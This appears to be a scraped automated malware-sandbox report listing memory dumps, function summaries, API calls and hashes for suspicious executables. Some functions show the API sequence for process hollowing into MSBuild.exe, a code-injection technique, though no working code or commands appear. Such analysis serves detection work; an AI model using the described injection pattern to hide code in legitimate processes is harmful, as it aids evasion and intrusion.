Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: dd05b4bd6bc9a135e851fbdd7a7336a55597385e22180c520d6f357ff6532f2f
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 8FB1F232D042C59FDB25CF2AC881BBEBBA5EF45350F24416AF855EB241D6399D03DBA0

Function 00FCBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00FCBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00FCBBE4
_xtime_get.LIBCPMT ref: 00FCBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00FCBC13

Memory Dump Source

Source File: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000003.00000002.2271862791.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2271894290.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272218996.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272341677.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272381340.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272585636.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272626080.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272750119.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272789428.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272823571.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272870006.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272907437.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272946270.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2272987607.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273033258.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273069922.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273104129.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273146750.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273198890.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273238424.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273273576.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273312223.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273365008.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273403596.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273446089.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273479890.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273514799.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273555355.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273589030.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273632291.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273675235.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273707607.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273732509.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273780547.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273805742.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273838849.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273881554.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273919877.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273956103.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2273992052.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274054778.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274182558.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274230635.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274295048.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274318638.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274344380.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274371367.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2274396640.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 1e25fd00b6645ea3f3f10a8d89662976f3497dfa54fee0d2e74eff1423a5f977
Instruction ID: 632d9fab2a9d2fe0873d983d54fb034023beb8ec72c64e01e7aef8ded841783b
Opcode Fuzzy Hash: 1e25fd00b6645ea3f3f10a8d89662976f3497dfa54fee0d2e74eff1423a5f977
Instruction Fuzzy Hash: AF211D75E0011AAFDF01EBA4DE82EBEB7B9EF48710F11005DF505A7251DB399D01ABA1

Analysis Process: bb3768c743.exePID: 6828, Parent PID: 5388COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.5%
Signature Coverage:	0.8%
Total number of Nodes:	1956
Total number of Limit Nodes:	24

Executed Functions

Function 0045519E Relevance: 35.3, APIs: 6, Strings: 14, Instructions: 295
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00455110,00455100), ref: 00455334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00455347
Wow64GetThreadContext.KERNEL32(00080054,00000000), ref: 00455365
ReadProcessMemory.KERNELBASE(00080058,?,00455154,00000004,00000000), ref: 00455389
VirtualAllocEx.KERNELBASE(00080058,?,?,00003000,00000040), ref: 004553B4
TerminateProcess.KERNELBASE(00080058,00000000), ref: 004553D3

Strings

VirtualAllocEx, xrefs: 0045529C
ReadProcessMemory, xrefs: 00455289
aryA, xrefs: 004551E2
CreateProcessW, xrefs: 00455250
GetP, xrefs: 0045521E
Load, xrefs: 004551DA
ResumeThread, xrefs: 004552D8
WriteProcessMemory, xrefs: 004552AF
TerminateProcess, xrefs: 004553C3
VirtualAlloc, xrefs: 00455263
ress, xrefs: 00455226
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00455333
GetThreadContext, xrefs: 00455276
SetThreadContext, xrefs: 004552C2

Memory Dump Source

Source File: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: Process$AllocVirtual$ContextCreateMemoryReadTerminateThreadWow64
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 3219802641-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 785a42f0dc0898d8191351bcba223d3f82488218faebe2e48823761017c496a1
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: D8B1087260064AAFDB60CF68CC80BEA73A5FF88714F158115EA0CAB341D774FA41CB94

Function 00431614 Relevance: 9.2, APIs: 6, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431098: _strlen.LIBCMT ref: 004310F9

CreateFileA.KERNELBASE ref: 00431675
GetFileSize.KERNEL32(00000000,00000000), ref: 00431685
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 004316AB
CloseHandle.KERNELBASE(00000000), ref: 004316BA
_strlen.LIBCMT ref: 00431705
CloseHandle.KERNEL32(00000000), ref: 00431805

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: 4a71785d40d7dbd602a46b51915c15dc8764bab8a00b228059a16c5dc149e670
Instruction ID: 7f7b73e2e7bfe3da6dd781ad66955350e9dc81ad7d99c2575abe99ce7e24c745
Opcode Fuzzy Hash: 4a71785d40d7dbd602a46b51915c15dc8764bab8a00b228059a16c5dc149e670
Instruction Fuzzy Hash: 4351F0B19043009BD704AF25CC85B2FBBE4BF89308F15592EF48997362E738D9448B6A

Function 0043155C Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00431098: _strlen.LIBCMT ref: 004310F9

FreeConsole.KERNELBASE ref: 0043158B

Part of subcall function 0043123B: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 004312C7

VirtualProtect.KERNELBASE(00455011,00000549,00000040,?), ref: 004315D7
ExitProcess.KERNEL32 ref: 0043160E

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ConsoleDispatcherExceptionExitFreeProcessProtectUserVirtual_strlen
String ID:
API String ID: 2898289550-0
Opcode ID: c085bbd4859d8695c29f1e6bb58f3383d6db0253d32e5fc6665933c1356adbae
Instruction ID: ffa5f24d5587794e26016a1478ca1deeb52ee380a5ce705d0d32812184ffe559
Opcode Fuzzy Hash: c085bbd4859d8695c29f1e6bb58f3383d6db0253d32e5fc6665933c1356adbae
Instruction Fuzzy Hash: 8011EB71A002046BE7006F659C52BBF7778EF84705F50403AF904B7292E67999154BD9

Function 0043123B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 004312C7

Strings

[+], xrefs: 004312E1

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID: [+]
API String ID: 6842923-4228040803
Opcode ID: 3076f740318dd70b0f55ee2ef3d7445bb82fa18082c8c5a62f7f8c223e3d8e70
Instruction ID: 160768b535631fc8f33939d00e3f908491881ada1b24b66cfdad8359473f652a
Opcode Fuzzy Hash: 3076f740318dd70b0f55ee2ef3d7445bb82fa18082c8c5a62f7f8c223e3d8e70
Instruction Fuzzy Hash: 0F31F77150C3804BD716AB34A8997EBBBD0AFBD318F18097EDCC987243D1A55445CB62

Function 00445283 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0044562D: GetConsoleOutputCP.KERNEL32(C34BFF09,00000000,00000000,?), ref: 00445690

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,0043BBF3,?), ref: 00445408
GetLastError.KERNEL32(?,?,0043BBF3,?,0043BE37,00000000,?,00000000,0043BE37,?,?,?,00454628,0000002C,0043BD23,?), ref: 00445412

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 2947f8acd7b43616cded50f146603bb70b9b11ab412004cebc5e2c49e6325c56
Instruction ID: 0ad631ff27619b864c43e2368a56741d54006d87f0fc684dd7d6b32873709058
Opcode Fuzzy Hash: 2947f8acd7b43616cded50f146603bb70b9b11ab412004cebc5e2c49e6325c56
Instruction Fuzzy Hash: 2161C472D00619AFEF11CFA8C844AEFBBB9BF09344F14015AE900AB253D779D951CB69

Function 00445A5C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,004453EE,00000000,0043BE37,?,00000000,?,00000000), ref: 00445AF8
GetLastError.KERNEL32(?,004453EE,00000000,0043BE37,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,0043BBF3), ref: 00445B1E

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 81a22d00dfe8ce3e764512f0104f1ae3fd28f9d0eb8e2cfc7090fc9136d04a6c
Instruction ID: 54e95faa11808a6d779dcae342a6c72c46d0a0ecd7b0f233f2ed119abc40781c
Opcode Fuzzy Hash: 81a22d00dfe8ce3e764512f0104f1ae3fd28f9d0eb8e2cfc7090fc9136d04a6c
Instruction Fuzzy Hash: 8E21A070A002189BDF15CF29DD809E9B7B9EF49301F2441AAE906D7212D630EE42CB68

Function 0043FF89 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,0043FE78,00454948), ref: 0043FFD5
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,0043FE78,00454948), ref: 0043FFE7

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 3165d86e759f14a6ac09a71c9fb5fcbb0d3591d6d1cda753f6d41aac55c72a0f
Instruction ID: b697e6bed40eeceb6dfe1b83276389d9013330755440e75236f08728ec98aa66
Opcode Fuzzy Hash: 3165d86e759f14a6ac09a71c9fb5fcbb0d3591d6d1cda753f6d41aac55c72a0f
Instruction Fuzzy Hash: 2A11B4719047114AD7304E3DAC88723BA94A756335F38072FD6B6876F1C238DD56D249

Function 0043136E Relevance: 1.7, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00431388

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: cc7414af83ae37f46154824d91f3381e2386eb008be6308803784ab60ae9d266
Instruction ID: db29f09c526efcf1d6a891b8ea77dacb9d7fca3469dd63f77d3ba8747dcca532
Opcode Fuzzy Hash: cc7414af83ae37f46154824d91f3381e2386eb008be6308803784ab60ae9d266
Instruction Fuzzy Hash: 4D518D313042049FC714DE6DC990B6AB7E2EF8C328F19866DE969CB3A2D634ED05CB45

Function 00433C29 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e64b6bdfb34945d40687b8e3eed7818ce2cf13155f3ece594d3868590857a6a0
Instruction ID: 27e1f5c52b2316158f679895c23f7ca147733590249cb584eb9151ccb4f08166
Opcode Fuzzy Hash: e64b6bdfb34945d40687b8e3eed7818ce2cf13155f3ece594d3868590857a6a0
Instruction Fuzzy Hash: F431847290011AAFCB14CF68D8908EEB7B9BF0D325F14622BE512E7290D725FA44CB54

Function 00433C1B Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
